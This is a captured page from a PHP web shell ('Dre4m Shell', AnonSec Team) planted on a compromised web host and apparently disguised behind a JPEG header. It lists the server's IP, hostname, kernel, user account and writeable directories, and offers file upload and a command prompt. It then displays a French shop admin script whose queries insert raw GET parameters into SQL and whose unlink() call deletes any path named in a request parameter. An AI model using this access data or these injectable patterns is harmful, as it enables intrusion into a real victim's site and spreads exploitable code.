ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/cp-admin/marques_caisse.php
<?php
 

if (isset($_GET['online'])) {

  $id = $_GET['online'];
    
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['marques'] . " SET status = 1 WHERE id = $id");

  echo '<script>';
  echo 'window.location = "./marques.php"';
  echo '</script>';
}

if (isset($_GET['offline'])) {

  $id = $_GET['offline'];
    
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['marques'] . " SET status = 0 WHERE id = $id");

  echo '<script>';
  echo 'window.location = "./marques.php"';
  echo '</script>';
}





// Suppression de la cat.
if (isset($_GET['del'])) 
{
  $id = $_GET['del'];
    
  $bdd->exec("DELETE FROM " . $GLOBALS['db_table']['marques'] . " WHERE id = $id");

// Suppression de l'image
  $content_dir = '../uploadfiles/marques/'; // dossier 
  unlink($content_dir . $_GET['pic']);

  echo '<script>';
  echo 'window.location = "./marques.php"';
  echo '</script>';
}
?>

<script type="text/javascript">
  $(document).ready(function() {
    $("#sortlist").Sortable({
      accept: 'dragDrop',
      opacity: 0.6,
      axis : 'vertically',
      onchange : function ( sorted ) {
        serial = $.SortSerialize ('sortlist'); 
        // requète Ajax pour l'enregistrement des positions
        $.ajax ( {
          url : "includes/set_position.php?table=marques&field=position",
          type : "post",
          data : serial.hash
        });
      }
    });
  });
</script>

<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Gérer vos <?php echo$marq_names; ?>
          <div class="pull-right">
            <a href="products.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Produits</a>
            
          </div>
        </h1>
      </div>
      
  <i>Vos &eacute;m&eacute;ments se g&egrave;rent aussi dans votre caisse principale !</i> <br /><br />   
     
    </div>
  </div>
  <table id="sortlist" class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="span3 center"><?php echo$marq_names; ?></th>
        <th class="span1 center">Nombre de produits</th>
        <th class="span2 center">Opérations</th>                                        
      </tr>
    </thead>
    <tbody>

      <?php
      $requete = $bdd->query("SELECT COUNT(pc.id_marque) as total, c.* FROM " . $GLOBALS['db_table']['marques'] . " c LEFT JOIN " . $GLOBALS['db_table']['products_marques'] . " pc ON c.id = pc.id_marque GROUP BY c.id ORDER BY c.position"); 
      if ($row = $requete->fetch()) {
        do {
        
         $id = $row['id'];

          ?>

          <tr class="dragDrop" id="adv_<?php echo $id; ?>" style="cursor: ns-resize;">
            <td class="span1 font12 center">
            
 <?php            
         $parent_id = $row['parent_id'];
        if($parent_id > 0) { 
        
$requet = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['marques'] . " WHERE id = " . $parent_id);
$catt = $requet->fetch();
  
if ($sous_marq == '1') {		
    	echo '<font color="#CC0000">'.$catt['name'].'</font>&nbsp;-->&nbsp;'; }	
}   			 
 ?>           

              <b><?php echo stripcslashes($row['name']) ?></b>
            </td>
            <td class="span1 font12 center">
              <b><?php echo stripcslashes($row['total']) ?></b>
            </td>
            <td class="center">

              <?php
              if($row['status'] == 0)
                echo '<a href="./marques.php?online='.$row['id'].'"><img src="assets/img/offline.png" title="Activer"></a>';
              else
                echo '<a href="./marques.php?offline='.$row['id'].'"><img src="assets/img/online.png" title="Désactiver"></a>';
              ?>
              &nbsp;


              <a href="./details_marques.php?id=<?php echo $row['id']; ?>">
                <img src="assets/img/details.png" title="Gérer le contenu">
              </a>
              &nbsp;


              &nbsp;
            </td>
          </tr>

          <?php
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucune marque à afficher !!!';
      }
      ?>

    </tbody>
  </table>
</div>

<div class="modal hide fade" id="category_box" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" wi>
  <div class="modal-header">
    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">x</button>
    <h3 id="category_title_box_box_header">Editer</h3>
  </div>
  <div class="modal-body" id="category_box_content">
  </div>
  <div class="modal-footer">
    <button class="btn" data-dismiss="modal" aria-hidden="true">Fermer</button>
    <button class="btn btn-primary" id="update_category">Enregistrer</button>
  </div>
</div>

<script type="text/javascript">
  $('.display_edit_category').live('click', function(event) {
    event.preventDefault();
    var id = $(this).attr('id');
    var name = $(this).attr('title');
    var caption = $(this).attr('caption');
    
    $('#category_box').modal();
    $('#category_box_content').html('<input type="hidden" id="id" value="'+id+'"> <div style="display: inline;"><label for="name">Nom :</label> <input type="text" id="name" value="'+name+'" style="width:95%;"></div> <label for="caption">Description :</label> <textarea id="caption" style="width:95%; height:60px;">'+caption+'</textarea>');
  });

  $('#update_category').live('click', function(event) {
    event.preventDefault();
    
    var id = $('#id').val();
    var name = $('#name').val();
    var caption = $('#caption').val();
    
    $.ajax({
      type: 'POST',
      data: 'id='+id+'&name='+name+'&caption='+caption,
      url: 'includes/listeners/updateMarques.php',
      success: function(msg) {
        if(msg!='') alert(msg);
        else window.location.reload();
      }
    });
  });
</script>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team